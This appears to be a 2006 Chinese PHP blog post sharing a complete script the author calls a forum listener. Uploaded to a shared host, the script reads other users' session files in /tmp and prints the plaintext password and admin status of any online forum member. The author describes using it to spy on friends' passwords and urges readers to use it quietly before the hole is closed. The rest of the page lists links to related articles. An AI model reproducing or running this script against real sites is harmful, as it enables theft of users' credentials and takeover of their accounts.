一个查看session内容的函数


Posted in PHP onOctober 09, 2006

之所以是能写出来这个函数,主要是对该网站的session结构清楚,如:name|s:4:"tasm";passwd|s:6:"111111";mode|s:1:"1",也知道该session存放的位置,而且可以上传文件,所以嘛,当时就做了一次小小的黑客,在线的朋友的密码可以一览无余,呵呵:
<?
function submit1(){
global $username;
print "<title>论坛监听器</title>";
$i=0;
if($username=="tasm"||$username=="Tasm")
{
print "你也太黑了吧?连我你也查?";
  return;
}
$path="/tmp/";
$d = dir($path);
while($entry=$d->read()){
if(substr($entry,0,4)=="sess"){
$entry=$path.$entry;
$ary=@file($entry);
if(!empty($ary[0])){
$ary = explode(";",$ary[0]);
$name= explode(":",$ary[0]);
if($name[2]=="\"".$username."\""){
$passwd= explode(":",$ary[1]);
$mode=explode(":",$ary[3]);
print "用户笔名:".$name[2]."<br>使用密码:".$passwd[2]."<br>使用模式:";
if($mode[1]==1)
print "<font color=red>管理员</font>";
else
print "一般用户";
print"<br><br>偷窃他人密码是不道德行为请少少为之<br>";
$i=1;
break;
}}}}
if(!$i)
print "用户:".$username."真的在线吗?如你确定,<a href='javascript:history.go(-1)'>请再来一次</a>,不要多打空格!";
$d->close();
}

function login(){
?>
<html>
<head>
<title>论坛监听器</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body bgcolor="#FFFFFF">
<div align="center">
<p>论坛监听器 </p>
<p> </p>
<table width="500" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="2">当你看到一用户在线时你想看他的密码,你要如何作呢?</td>
</tr>
<tr>
<td colspan="2">让我来告诉你:就是使用本程序。</td>
</tr>
<tr>
<td colspan="2"><font color=red>郑重申明:本程序为自由程序,由它所造成的任何损失本人盖不负责。</font>
<br>不过这个问题也许很快就会被堵上,个位还是不要张扬的偷着用吧。</td>
</tr>
</table>
<form name="form1" method="post" action="<?print $PHP_SELF ?>" >
<p>请输入你要查的用户名:<br>
<input type="text" name="username">
</p>
<p>
<input type="submit" name="submit1" value="我同意以上申明,开始查找">
</p>
</form>
<p> </p>
</div>
</body>
</html>
<?
}
//--------------main()
if($submit1)
submit1();
else
login();
?>

PHP 相关文章推荐
如何利用php+mysql保存和输出文件
Oct 09 PHP
cmd下运行php脚本
Nov 25 PHP
注册页面之前先验证用户名是否存在的php代码
Jul 14 PHP
解析使用ThinkPHP应该掌握的调试手段
Jun 20 PHP
PHPThumb图片处理实例
May 03 PHP
PHP中key和current,next的联合运用实例分析
Mar 29 PHP
PHP+Apache+Mysql环境搭建教程
Aug 01 PHP
php正则修正符用法实例详解
Dec 29 PHP
php利用ffmpeg提取视频中音频与视频画面的方法详解
Jun 07 PHP
分析php://output和php://stdout的区别
May 06 PHP
PHP观察者模式示例【Laravel框架中有用到】
Jun 15 PHP
PHP常见加密函数用法示例【crypt与md5】
Jan 27 PHP
一个显示天气预报的程序
Oct 09 #PHP
web方式ftp
Oct 09 #PHP
php中文本数据翻页(留言本翻页)
Oct 09 #PHP
自己动手做一个SQL解释器
Oct 09 #PHP
GD输出汉字的函数的分析
Oct 09 #PHP
类的另类用法--数据的封装
Oct 09 #PHP
最小化数据传输――在客户端存储数据
Oct 09 #PHP
You might like
php数组去重实例及分析
2013/11/26 PHP
PHP进行批量任务处理不超时的解决方法
2016/07/11 PHP
PHP面向对象程序设计之对象生成方法详解
2016/12/02 PHP
php写app接口并返回json数据的实例(分享)
2017/05/20 PHP
php curl获取到json对象并转成数组array的方法
2018/05/31 PHP
JQuery扩展插件Validate 2通过参数设置验证规则
2011/09/05 Javascript
iframe异步加载实现点击左边菜单加载右边内容实例讲解
2013/03/04 Javascript
Extjs4中Form的使用之本地hiddenfield
2013/11/26 Javascript
javascript:void(0)的问题使用探讨
2014/04/10 Javascript
jquery实现鼠标滑过显示二级下拉菜单效果
2015/08/24 Javascript
jquery插件uploadify实现带进度条的文件批量上传
2015/12/13 Javascript
微信小程序之picker日期和时间选择器
2017/02/09 Javascript
jQuery正则验证注册页面经典实例
2017/06/10 jQuery
jQuery Easyui Treegrid实现显示checkbox功能
2017/08/08 jQuery
Express + Session 实现登录验证功能
2017/09/08 Javascript
Vue组件的使用教程详解
2018/01/05 Javascript
浅谈Angularjs中不同类型的双向数据绑定
2018/07/16 Javascript
深入浅析javascript函数中with
2018/10/28 Javascript
js回调函数原理与用法案例分析
2020/03/04 Javascript
解决element-ui里的下拉多选框 el-select 时,默认值不可删除问题
2020/08/14 Javascript
[01:07:11]Secret vs Newbee 2019国际邀请赛小组赛 BO2 第二场 8.15
2019/08/17 DOTA
Python实现Logger打印功能的方法详解
2017/09/01 Python
Python 正则表达式 re.match/re.search/re.sub的使用解析
2019/07/22 Python
keras绘制acc和loss曲线图实例
2020/06/15 Python
Python实现加密的RAR文件解压的方法(密码已知)
2020/09/11 Python
基于Python的图像阈值化分割(迭代法)
2020/11/20 Python
HTML5 Canvas中绘制椭圆的4种方法
2015/04/24 HTML / CSS
一名毕业生的自我鉴定
2013/12/04 职场文书
物业保安主管岗位职责
2013/12/25 职场文书
文明宿舍获奖感言
2014/02/07 职场文书
导师工作推荐信范文
2014/05/17 职场文书
2014村党支部书记党建工作汇报材料
2014/11/02 职场文书
付款证明模板
2015/06/19 职场文书
PyCharm配置KBEngine快速处理代码提示冲突、配置命令问题
2021/04/03 Python
Python list列表删除元素的4种方法
2021/11/01 Python
WINDOWS 64位 下安装配置mysql8.0.25最详细的教程
2022/03/22 MySQL